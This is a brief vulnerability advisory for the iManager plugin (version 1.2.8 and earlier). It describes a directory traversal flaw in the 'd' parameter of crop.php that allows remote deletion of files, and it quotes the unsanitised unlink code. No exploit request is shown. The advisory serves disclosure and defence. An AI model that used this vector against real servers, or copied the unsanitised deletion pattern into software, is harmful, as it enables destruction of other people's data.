• iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability
  
  
  Vendor: net4visions.com
  Product web page: http://www.net4visions.com
  Affected version: <= 1.2.8 Build 02012008
  
  Summary: With iManager you can manage your files/images on your webserver,
  and it provides user interface to most of the phpThumb() functions. It works
  either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,
  htmlAREA, Xinha and FCKeditor.
  
  Desc: Input passed to the 'd' parameter in /scripts/phpCrop/crop.php is not
  properly sanitised before being used to delete files. This can be exploited
  to delete files with the permissions of the web server via directory traversal
  sequences passed within the 'd' parameter.

  35: if ( is_array ( $matches ) ) {
  36:foreach ( $matches as $fn) {
  37: @unlink($fn);
